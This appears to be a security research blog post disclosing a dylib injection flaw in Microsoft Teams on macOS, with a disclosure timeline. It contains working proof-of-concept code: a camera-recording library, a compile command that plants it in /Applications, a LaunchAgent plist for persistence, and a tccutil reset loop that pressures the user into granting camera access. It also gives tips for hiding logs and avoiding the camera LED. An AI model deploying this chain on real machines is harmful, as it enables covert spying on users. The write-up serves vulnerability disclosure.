The following article explains how during a Purple Team engagement we were able to identify a vulnerability in Microsoft Teams on macOS allowing us to access a user's camera and microphone.

Context

As part of a Purple Team, we managed to gain a remote access (as user) on a machine running macOS. Apart from the fact that we managed to compromise the machine, we wanted to implement examples that had a perceptible impact for our client. As a result, we have been wondering whether to wiretap the machine or retrieve its video stream. As Microsoft Teams was installed by default (by the client) on all macOS machines, we turned our attention to the application's security. We applied a static and dynamic analysis procedure, which helped us identify a vulnerability. Once exploited, the vulnerability allows the attacker to capture the video and sound streams of the machine.

To simulate an attacker carrying out the analysis from within the compromised machine, we only used the tools present on the machine. Tests were performed on macOS version 14.4 (Sonoma).

Take this information into consideration if you ever want to exploit these vulnerabilities on other macOS versions.

macOS version running the application

The version of Microsoft Teams present on our client's workstations was older than the latest version available, but the most recent version (Version 24152.405.2925.6762 at the time of writing) of the application was also vulnerable, as we will show you below.

Latest version of the application also identified as vulnerable

Setup

Before we begin our analysis, let's download the latest version of Microsoft Teams.

Download the latest version of the application from the official Microsoft site (part 1)

Download the latest version of the application from the official Microsoft site (part 2)

Download the latest version of the application from the official Microsoft site (part 3)

Download the latest version of the application from the official Microsoft site (part 4)

And then install the .pkg file.

Installation of the latest version of the application (part 1)

Installation of the latest version of the application (part 2)

Installation of the latest version of the application (part 3)

Installation of the latest version of the application (part 4)

Installation of the latest version of the application (part 5)

Installation of the latest version of the application (part 6)

After installation, you may notice that an application (Microsoft AutoUpdate) has been added to the user's login process.

Notification of the addition of a program at startup

New program added at startup

It is also possible to observe that Microsoft Teams has now access to the microphone.

Microsoft Teams can access the microphone (visible via the privacy and security menu)

Recon

The Microsoft Teams.app package is installed in the /Applications directory in which a user can read and write being by default in the admin group.

Execution of command ls from directory /Applications

Execution of command ls -al from directory /Applications (truncated results)

Execution of command id

The presence of the binary vcxpc within the package (Microsoft Teams) can be easily identified.

We also noticed that the macOS Hardened Runtime was set up properly for this binary. So it should not be possible to perform a .dylib hijack.

The Hardened Runtime, along with System Integrity Protection (SIP), protects the runtime integrity of your software by preventing certain classes of exploits, like code injection, dynamically linked library (DLL) hijacking, and process memory space tampering. - link

However, by exploring the application's (vcxpc) entitlements, we realized that the entitlement Disable Library Validation Entitlement (Key: com.apple.security.cs.disable-library-validation, Type: Boolean) was set to True. Which means that the loading process was not checking the signature of the libraries it was loading.

A Boolean value that indicates whether the app loads arbitrary plug-ins or frameworks, without requiring code signing. - link

Static Analysis

We then explored how we could inject a malicious library.

By taking an interest in library loading commands (LC_LOAD_DYLIB), we realized that a library was loaded relatively to the value of rpath.

When you want to use a location relative to the executable, which is what some of the special “@” paths are for, there are a number of different options:

  • @executable_path
  • @loader_path
  • @rpath

@rpath is equivalent to a search in all directories referenced by the LC_RPATH command.

After looking at all the definitions of the LC_RPATH command, it has been found that it was defined relatively to the path of the binary vcxpc, and that there was a path traversal to the directory /Applications.

Dynamic analysis

In this case, the dynamic analysis was as simple as it could be, all we had to do was run the binary.

The code of the malicious library is available below.

File: inject.m

#import <Foundation/Foundation.h>

__attribute__((constructor))
void inject(int argc, const char **argv) {
    NSLog(@"[+] Library (.dylib) injected!");
}

Which we can compile with the following command.

gcc -framework Foundation -dynamiclib inject.m -o inject.dylib

Once copied to the right location (/Applications), the library is loaded by the binary (when vcxpc is executed) and the library's constructor is executed correctly.

Interesting point, after having explored the Microsoft Teams package a little further, we realized that the expected library (libskypert.dylib) was just probably in the wrong place.

Development of a proof-of-concept

To develop a proof-of-concept exploit for the vulnerability, we reused and adapted the amazing work already done by Dan Revah (CVE-2023-26818 - Bypass TCC with Telegram in macOS).

File: camera.m

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation VideoRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];

    if (error) {
        NSLog(@"[x] Error setting up video device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }

    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}

- (void)startRecording {
    [self.captureSession startRunning];
    NSTimeInterval timeStamp = [[NSDate date] timeIntervalSince1970];
    NSInteger intTimeStamp = round(timeStamp);
    NSString *outputFilename = [NSString stringWithFormat:@"recording_%ld.mov", intTimeStamp];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:outputFilename];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"[*] Recording started.");
}

- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"[*] Recording stopped.");
}

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"[x] Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"[+] Recording finished successfully. (Saved to %@)", outputFileURL.path);
    }
}

@end

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    __block int record_condition = 0;
    __block int reset_condition = 0;

    NSLog(@"[*] Check permission to access the camera and microphone ...");
    switch ([AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo])
    {
        case AVAuthorizationStatusAuthorized:
        {
            NSLog(@"[+] The user has previously granted access to the camera.");
            record_condition = 1;
            break;
        }
        case AVAuthorizationStatusNotDetermined:
        {
            NSLog(@"[*] The app hasn't yet asked the user for camera access.");
            [AVCaptureDevice requestAccessForMediaType:AVMediaTypeVideo completionHandler:^(BOOL granted) {
                if (granted)
                {
                    NSLog(@"[+] Access granted by the user.");
                    record_condition = 1;
                }
                else
                {
                    NSLog(@"[x] Access refused by the user.");
                    reset_condition = 1;
                }
            }];
            break;
        }
        case AVAuthorizationStatusDenied:
        {
            NSLog(@"[!] The user has previously denied access.");
            reset_condition = 1;
            break;

        }
        case AVAuthorizationStatusRestricted:
        {
            NSLog(@"[x] The user can't grant access due to restrictions.");
            reset_condition = 1;
            break;
        }
    }

    [NSThread sleepForTimeInterval:5];

    if (reset_condition)
    {
        NSLog(@"[*] Resetting the previous choice ...");
        NSTask *task = [[NSTask alloc] init];
        task.launchPath = @"/usr/bin/tccutil";
        task.arguments = @[@"reset", @"Camera"];
        [task launch];
        reset_condition = 0;
    }

    [NSThread sleepForTimeInterval:5];

    if (record_condition)
    {
        VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];

        [videoRecorder startRecording];
        [NSThread sleepForTimeInterval:3.0];
        [videoRecorder stopRecording];
    }

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:5.0]];
}

Which we can compile with the following command.

gcc -dynamiclib -framework Foundation -framework AVFoundation camera.m -o /Applications/libskypert.dylib

All that was left to do was to create the file ~/Library/LaunchAgents/com.poc.launcher.plist.

File: ~/Library/LaunchAgents/com.poc.launcher.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
       <key>Label</key>
        <string>com.poc.launcher</string>
        <key>RunAtLoad</key>
        <true/>
        <key>ProgramArguments</key>
        <array>
        <string>/Applications/Microsoft Teams.app/Contents/XPCServices/vcxpc.xpc/Contents/MacOS/vcxpc</string>
        </array>
        <key>StartInterval</key>
        <integer>60</integer>
        <key>StandardOutPath</key>
        <string>/tmp/poc.log</string>
        <key>StandardErrorPath</key>
        <string>/tmp/poc.log</string>
</dict>
</plist>

When a .plist file is created, a notification is displayed to the user, but a user may be fooled by the fact that the application is from "Microsoft Corporation".

If the attacker doesn't want to wait for macOS to reboot in order to launch his service, he can force it to be loaded.

launchctl load ~/Library/LaunchAgents/com.poc.launcher.plist

Then, he could consult the logs associated with his service to see where the video was stored, and then exfiltrate it.

The cool thing is that if the user refuses to give access to the "Microsoft Teams.app" application (which seems to be a legit application, even if it's actually the vcxpc binary that's being executed), the .plist paired with the library performs some kind of MFA fatigue and will request access from the user every 60 seconds until the right is granted. Once the right has been obtained, there will be no further request for access and recording will be automatic. All the attacker has to do is exfiltrate the various records on a regular basis.

Conclusion

To go a step further, maybe we could have used an additional trick to prevent our logs from being read by an unwary user. We might have been able to store the contents of our logs to an extended attribute called com.apple.ResourceFork by saving them to <FILE>/..namedfork/rsrc (resp. /tmp/poc.log/..namedfork/rsrc).

This trick can be seen as a trick that lets you hide data in an ADS (Alternate Data Stream) for macOS.

In addition, we could also have triggered camera recording only when the Microsoft Teams application was actually being used by the user, so that the LED (green light in the upper part of the screen) notifying the user that the camera is active would not raise any suspicion.

In any case, the mission was incredibly interesting and gave us the opportunity to experiment some old exploitation techniques on recent macOS applications.

Disclosure timeline

  • 2024/07/23 - Vulnerability reported to Microsoft Security Response Center (MSRC).
  • 2024/07/30 - Automated acknowledgement of the vulnerability.
  • 2024/08/21 - MSRC confirmed they reproduced the vulnerability.
  • 2024/08/21 - MSRC said the vulnerability was fixed. Indicated that Microsoft does not usually acknowledge publicly discoverers of vulnerabilities with severity rated Low/Moderate but decided to make an exception in this case because it was tracked and fixed quickly.
  • 2024/08/21 - Quarkslab Vulnerability Reports Team (QVRT) asked if the fix was released. Asked for the CVE to identify the vuln and a link to the corresponding Security Bulletin.
  • 2024/08/21 - MSRC replied that the case was closed too early and that the vulnerability will not be assigned a CVE.
  • 2024/08/22 - QVRT asked MSRC if the fix was released and to provide a link to the corresponding Security Bulletin or KB article.
  • 2024/09/13 - QVRT asked for an update, indicated that Quarkslab planned to publish technical details of the vuln and requested an official statement about the fix and link to the patch or security bulletin.
  • 2024/09/17 - MSRC wrote that "a fix was reported" for the vulnerability QVRT submitted and asked if QVRT would share a draft of the upcoming publication.
  • 2024/09/17 - QVRT asked if the fix has been released and to provide a link to the corresponding security bulleting or KB article. Indicated that those questions remain unanswered since August.
  • 2024/10/08 - This blog post is published.

If you would like to learn more about our security audits and explore how we can help you, get in touch with us!